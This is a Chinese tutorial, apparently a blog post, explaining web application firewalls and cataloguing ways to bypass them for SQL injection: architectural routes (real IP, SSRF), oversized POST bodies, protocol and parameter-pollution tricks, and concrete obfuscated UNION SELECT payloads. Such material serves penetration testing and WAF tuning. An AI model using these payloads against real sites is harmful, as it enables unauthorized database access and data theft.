一、什么是WAF

1、简介

WAF部署在web应用程序前面,在用户请求到达web服务器前对用户请求进行扫描和过滤,分析并校验每个用户请求的网络包,确保每个用户请求有效且安全,对无效或有攻击行为的请求进行阻断或隔离。通过检查HTTP流量,可以防止源自web应用程序的安全漏洞(如SQL注入,跨站脚本攻击,文件包含和安全配置错误)的攻击。

2、工作原理

检测异常协议:拒绝不符合HTTP标准的请求

增强型的输入验证:代理和服务器端验证,而不仅仅是客户端验证

白名单和黑名单

基于规则和异常的保护:基于规则的更多是基于黑色的机制和更灵活的异常

状态管理:防御会话保护(Cookie保护,反入侵规避技术,响应监控和信息披露保护)。

二、非规则绕过姿势

(一)架构层绕WAF

(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。

(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf

(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入

(二)资源限制角度绕WAF

有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。

(三)协议层面绕过WAF

(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

(3)参数污染:有的waf仅对部分内容进行过滤,例如:

index.php?id=1&id=2

这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入

三、规则层面绕过

1、大小写关键字绕过

select * from users where id='1' uNioN SeleCt 1,2,3;

2、替换关键字

select * from users where id=1 ununionion selselectect 1,2,3;

3、编码

select * from users where id=1 %75nion select 1,2,3;   %55nion %53elect 1,2,3,4

4、内联注释

select * from users where id=1 union/**/select/**/1,2,3;
select * from users where id=1 /*!union*/select 1,2,3;//

5、等价函数替换

由于检测到关键字,因此无法使用某些函数或命令,但在很多情况下,我们可以使用它们的等效或类似代码。

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

6、特殊符号

select * from users where id=1 union+select+1,2,3;

id=1+(UnI)(oN)+(SeL)(EcT)     'se’+’lec’+’t’   %S%E%L%E%C%T 1

7、缓冲区溢出

WAF始终是应用程序,容易受到与其他应用程序相同的软件缺陷的影响。如果出现缓冲区溢漏洞可能会导致WAF崩溃,即使它不会导致代码执行也可能会导致WAF正常运行

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

8、mysql特性绕过

1.= 等于
:= 赋值
@ @+变量名可直接调用

select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL

参考资料:

SQL注入绕过waf的一万种姿势 - 铺哩 - 博客园 (cnblogs.com)

SQL注入9种绕过WAF方法 - 渗透测试中心 - 博客园 (cnblogs.com)

SQL注入常用WAF绕过姿势相关推荐

  1. SQL注入和WAF绕过总结姿势

    自己复习专用,大佬勿喷 文章目录 前言 一.注入手法 联合注入 报错注入 布尔盲注 延时注入 堆叠注入 二.绕过姿势 绕过空格 注释符 括号 引号绕过(使用十六进制) 逗号绕过(使用from或者off ...

  2. sql注入空格被过滤_网站渗透:SQL注入与WAF绕过思路分享

    一.前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...

  3. SQL注入-SQL注入的WAF绕过(十六)

    实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...

  4. 渗透测试-SQL注入之Fuzz绕过WAF

    WAF绕过原理之Fuzz绕过 文章目录 WAF绕过原理之Fuzz绕过 前言 一.什么是Fuzz 二.利用Fuzz绕过WAF获取数据库信息 1.Fuzz绕过方法 2.利用Fuzz绕过WAF获取数据库信息 ...

  5. sql注入关于waf的绕过

    sql注入关于waf的绕过 关于Waf绕过可大致分为三类: 一.白盒绕过 二.黑盒绕过 1.架构层面绕过waf 1.1.寻找源网站绕过waf检测 1.2.通过同网段绕过waf防护 2.资源限制角度绕过 ...

  6. 【白帽子学习笔记14】SQL注入常用语句

    [白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...

  7. B站小迪安全笔记第十九天-SQL注入之sqlmap绕过waf

    前言: 在攻防实战中,往往需要掌握一些特性,比如服务器.数据库.应用层.WAF层等,以便我们更灵活地去构造 Payload,从而可以和各种 WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用. 演示案 ...

  8. bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  9. 护卫神mysql_hws_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  10. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

最新文章

  1. 10个最常用 Windows Vista运行命令
  2. 未转变者空投指令服务器,未转变者空投指令 | 手游网游页游攻略大全
  3. Nginx通过域名配置虚拟机
  4. 读入源文件,并在每行前加上行号和[Tab]
  5. vSphere 7 With K8s系列06:创建命名空间
  6. 【报告分享】数实共生:未来经济白皮书2021-腾讯研究院.pdf(附下载链接)
  7. 微软在线测试之lucky string,有关斐波那契的题目都在此了
  8. JOPL的配置文件Bug
  9. selenium 如何处理table
  10. 联想小新触摸板驱动_联想小新智能语音鼠标驱动
  11. 无需积分PowerDesigner 下载
  12. 第七篇 indicators(4)自建指标
  13. 微信小程序--游戏demo
  14. PCA主成分分析 提取主成分,过滤噪音
  15. docker基本操作小结
  16. Unable to restart cluster, will reset it: apiserver healthz: apiserver process never appeared
  17. android bmob集成
  18. 三坐标检测 Visual DMIS
  19. ECharts之3D立体柱状图一
  20. 【CSS 选择器】鱼骨图记忆

热门文章

  1. JavaScript 代码的执行流程
  2. 个推消息推送SDK通知栏铃声功能解析及使用攻略
  3. 自然辩证法对计算机科学技术的应用,自然辩证法在计算机科学技术中的应用.doc...
  4. 高德AR驾车导航解决方案
  5. matlab l 汉字字符串,Matlab中汉字编码的操作
  6. 调试经验——使用Matlab绘制f(x)=sin(x)/x的函数图形
  7. 树莓派-MLX90614
  8. 弱水三千,只取一瓢饮 的意思
  9. 一分钟教你解决——浏览器代理服务器被篡改
  10. 高盛:云计算市场2021年将增至1160亿美元 四巨头成赢家